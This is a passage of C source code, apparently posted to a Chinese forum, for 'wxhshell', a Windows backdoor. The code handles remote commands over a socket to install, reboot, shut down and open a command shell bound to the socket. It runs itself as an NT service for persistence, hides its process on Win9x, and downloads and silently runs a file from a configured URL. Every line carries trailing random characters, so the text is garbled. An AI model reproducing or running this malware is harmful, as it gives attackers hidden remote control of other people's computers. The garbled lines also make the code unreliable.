  case '?': { Q-M"+HO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +:&,Ts/  
    break; .G|9:b  
  } _R?:?{r,  
  // 安装 ic_q<Y}  
  case 'i': { LmQS;/:  
    if(Install()) Sx", Zb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $8"G9r  
    else >SR! *3$5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); chr^>%Q_  
    break; D[ -Gzqh  
    } hLf<-NM  
  // 卸载 7 P$>T  
  case 'r': { xJ18M@" j  
    if(Uninstall()) i{ " g 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :n} NQzs  
    else |wFfVDp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ev_4!+ko  
    break; /T_@rm  
    } ?onTW2cG;  
  // 显示 wxhshell 所在路径 vdLBf+Zi  
  case 'p': { H3{FiB]  
    char svExeFile[MAX_PATH]; %kRQ9I".  
    strcpy(svExeFile,"\n\r"); )Kw Gb&l&  
      strcat(svExeFile,ExeFile); LyB &u( )  
        send(wsh,svExeFile,strlen(svExeFile),0); ^t{2k[@  
    break; .0b$mSV[  
    } dq&N;kk |  
  // 重启 d?uN6JH9  
  case 'b': { ogrh"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PfRe)JuB  
    if(Boot(REBOOT)) bm+ #OI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0Y>2HOuL  
    else { xy$agt>j>  
    closesocket(wsh); `Z 3p( G  
    ExitThread(0); A*r6  
    } L\u6EMyV  
    break; k15B5  
    } iVg3=R)[1  
  // 关机 Pl}>  
  case 'd': { \q0wY7w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zFn-V EJ)  
    if(Boot(SHUTDOWN)) '%2q'LqSA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `?fY!5BA  
    else { >*A"tk#oR  
    closesocket(wsh); AD ,  
    ExitThread(0); y@'m D*z  
    } -J$,W`#z  
    break; EqV]/0-\  
    } t69C48}15  
  // 获取shell G{ 9p.Q  
  case 's': { ?IWLH-fkP  
    CmdShell(wsh); Sl?@c/Ng  
    closesocket(wsh); YF]W<ZpY  
    ExitThread(0); k_^| %xJ  
    break; 7vRFF@eq}  
  } t3dvHU&Z:  
  // 退出 ve [*t`  
  case 'x': { GRt1]%l#$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U;l!.mze  
    CloseIt(wsh); #@*;Y(9Ol  
    break; X \1grM  
    } EO<{Bj=2  
  // 离开 NZ}DbA+g;|  
  case 'q': { yv@td+-"D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sSM^net0  
    closesocket(wsh); ^` 96L  
    WSACleanup(); 8N8N)#A[  
    exit(1); oY#62&wk4  
    break; |N{?LKR %  
        } zuq7 x7  
  } :slVja$e  
  } _wC4n }J  
H1alf_(_ \  
  // 提示信息 h]6"~ m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -jv%BJJlX  
} +EtL+Y (U  
  } 0gs0[@  
Q/y^ff]=  
  return; zO)>(E?  
} YL$#6d  
/qYo*S_cG  
// shell模块句柄 wcdD i[E>i  
int CmdShell(SOCKET sock) w;RG*rv  
{ \sUk71L` j  
STARTUPINFO si; -W^jmwM   
ZeroMemory(&si,sizeof(si)); Y'75DE<BC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x2^Yvgc-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Guc~] B  
PROCESS_INFORMATION ProcessInfo; 3( Y#*f|  
char cmdline[]="cmd"; *5\k1-$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z2Pnni7Ys  
  return 0; \5]${vs&s  
} MS Ml  
?\ qfuA9.  
// 自身启动模式 'q#$^ ='o  
int StartFromService(void) 1nt VM+  
{ `YZK$ -,  
typedef struct A[/_}bI|  
{ ,}("es\b  
  DWORD ExitStatus; x"n!nT%Z  
  DWORD PebBaseAddress; F|eKt/>e  
  DWORD AffinityMask; A@-A_=a,  
  DWORD BasePriority; YkPc&&#  
  ULONG UniqueProcessId; Ly?%RmHK  
  ULONG InheritedFromUniqueProcessId; (Hr_gkGtM  
}   PROCESS_BASIC_INFORMATION; Mn- f  
=`8%qh  
PROCNTQSIP NtQueryInformationProcess; -FAAP&LG  
Auq)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0X`sQNx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7 +RsZu  
1@ e22\  
  HANDLE             hProcess; ux[h\Tp  
  PROCESS_BASIC_INFORMATION pbi; rNdeD~\  
0I8w'/s_g9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pwiXA{  
  if(NULL == hInst ) return 0; =Me94w>G3X  
V/=NIeSE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pl@3=s!~>~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f{b$Y3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z*Sa%yf  
c k$ > yk  
  if (!NtQueryInformationProcess) return 0; aR iD}P*V  
'8au j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <.DFa/G   
  if(!hProcess) return 0; kl0!*j  
;3nR_6\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q'07  
MOiTz L*  
  CloseHandle(hProcess); Ur`jmB  
9q?\F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FmRCTH  
if(hProcess==NULL) return 0; 8{m5P8w'  
.>5KwEK~  
HMODULE hMod; 7*!h:rg  
char procName[255]; xq?9w$  
unsigned long cbNeeded; _I("k:E7  
]BY^.!Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H nKO  
`^rN"\  
  CloseHandle(hProcess); X1 A~#w>  
X+'z@xpj  
if(strstr(procName,"services")) return 1; // 以服务启动 NTnjVU }  
Km5#$IiP;  
  return 0; // 注册表启动 l!U_7)s/  
} Z!@<[Vo6  
"T*Sg  
// 主模块 ^ -s'Ad3  
int StartWxhshell(LPSTR lpCmdLine) -Y*"!8  
{ iIOA54!o  
  SOCKET wsl; $6W o$c%  
BOOL val=TRUE; {uurM` f}:  
  int port=0; :# 1d;jx  
  struct sockaddr_in door; DNARe!pK  
Kt(Z&@  
  if(wscfg.ws_autoins) Install(); ?s4-2g  
8"d0Su4r  
port=atoi(lpCmdLine); C~16Jj:v  
=%p%+F@RlW  
if(port<=0) port=wscfg.ws_port; X[Lwx.Ly8  
! xU1[,9  
  WSADATA data; ]et4B+=i  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q*^Y8s~3I  
uXs.7+f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~0mO<0~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -`z`K08sT  
  door.sin_family = AF_INET; d)'am 3Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F %OA  
  door.sin_port = htons(port); D1&%N{  
=j%B`cJ66_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9<0p1WO  
closesocket(wsl); .hYrE5\-  
return 1; `+IB;G1  
} 0JQ0lzk1  
K#j<G]I( @  
  if(listen(wsl,2) == INVALID_SOCKET) { LX%K*nlj  
closesocket(wsl); J3oEN'8S  
return 1; &<!DNXQ  
} <,U=w[cH  
  Wxhshell(wsl); 9y BENvq  
  WSACleanup(); /~w!7n<7  
fS08q9,S/  
return 0; '8.r   
>900I4]I  
} Cu5fp.OS7  
EXlmIY4  
// 以NT服务方式启动 vvJ{fi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s "KPTV  
{ %M=[h2SN  
DWORD   status = 0; (!-gX" <b  
  DWORD   specificError = 0xfffffff; _ >)+ u  
P\;L#2n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L5%t.7B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m/,.3v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^;";fr Vw  
  serviceStatus.dwWin32ExitCode     = 0; 4)L(41h  
  serviceStatus.dwServiceSpecificExitCode = 0; nXgnlb=  
  serviceStatus.dwCheckPoint       = 0; Yp_ L.TTb  
  serviceStatus.dwWaitHint       = 0; C- Aiv@@<=  
/S32)=(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'j^A87\M_  
  if (hServiceStatusHandle==0) return; up[9L|  
z 6~cm6j  
status = GetLastError(); \)\uAI-  
  if (status!=NO_ERROR) e):jQite   
{ m `"^d #  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZLsfF =/G  
    serviceStatus.dwCheckPoint       = 0;  %2 A-u  
    serviceStatus.dwWaitHint       = 0; M2K{{pGJ[&  
    serviceStatus.dwWin32ExitCode     = status; E5a1 7ra  
    serviceStatus.dwServiceSpecificExitCode = specificError; `6`p~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v-zi ,]W  
    return; 0GUm~zi1  
  } s@USJ4#  
pGQP9r%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %4F Q~  
  serviceStatus.dwCheckPoint       = 0; BCDmce`=l  
  serviceStatus.dwWaitHint       = 0; z >EOQe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tDWW 4H  
} +D[|Mi  
~vqVASUc,  
// 处理NT服务事件,比如:启动、停止 |Ai/q6u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X9W'.s.[Q  
{ gZa/?[+  
switch(fdwControl) ]Gk;n/! B  
{ \!!qzrq  
case SERVICE_CONTROL_STOP: QucDIZ  
  serviceStatus.dwWin32ExitCode = 0; |Z]KF>S]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L-B"P&  
  serviceStatus.dwCheckPoint   = 0; xvP=i/SO  
  serviceStatus.dwWaitHint     = 0;  ]/l"  
  { "Di27Rq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Tc jJ2T  
  } ~d0:>8zQR  
  return; OT1  
case SERVICE_CONTROL_PAUSE: @ |bN[XL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4( Q_J4}P  
  break; #[|~m;K(w  
case SERVICE_CONTROL_CONTINUE: 4@2<dw|*h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j7(sYo@x7  
  break;  {{hp;&x  
case SERVICE_CONTROL_INTERROGATE: kF%EJuu  
  break; U_s3)/'  
}; [i[*xf-B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4?+K:e #F  
} 8fV.NCyE  
o1Bn^ w  
// 标准应用程序主函数 =>? ;Iv'Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oXC|q-(C  
{ bjn: e!}  
1D *oXE9Ig  
// 获取操作系统版本 gN,O)@N'd3  
OsIsNt=GetOsVer(); &cZQ,o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,;3bPjey  
QO1pwrX<  
  // 从命令行安装 dTV4 Q`Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); #&V7CYJ  
k#eH Q!  
  // 下载执行文件 &zuPt5G|  
if(wscfg.ws_downexe) { LtIR)EtB]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #Hn<4g"AjM  
  WinExec(wscfg.ws_filenam,SW_HIDE); <WXGDCj  
} NCW<~   
3,ihVVr&P  
if(!OsIsNt) { TLcev*  
// 如果时win9x,隐藏进程并且设置为注册表启动 #'DrgZ)W  
HideProc(); a0wSXd  
StartWxhshell(lpCmdLine); #$5"&SM  
} ;(&$Iw9X  
else X8}m %  
  if(StartFromService()) /KU9sIE;  
  // 以服务方式启动 *~h@KQm7  
  StartServiceCtrlDispatcher(DispatchTable); {gL8s  
else M =/+q  
  // 普通方式启动 U yb-feG  
  StartWxhshell(lpCmdLine); ,/fB~On-  
QN4{xf:}S  
return 0; BlLK6"gJT  
}
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只看该作者 1 发表于: 2006-10-10
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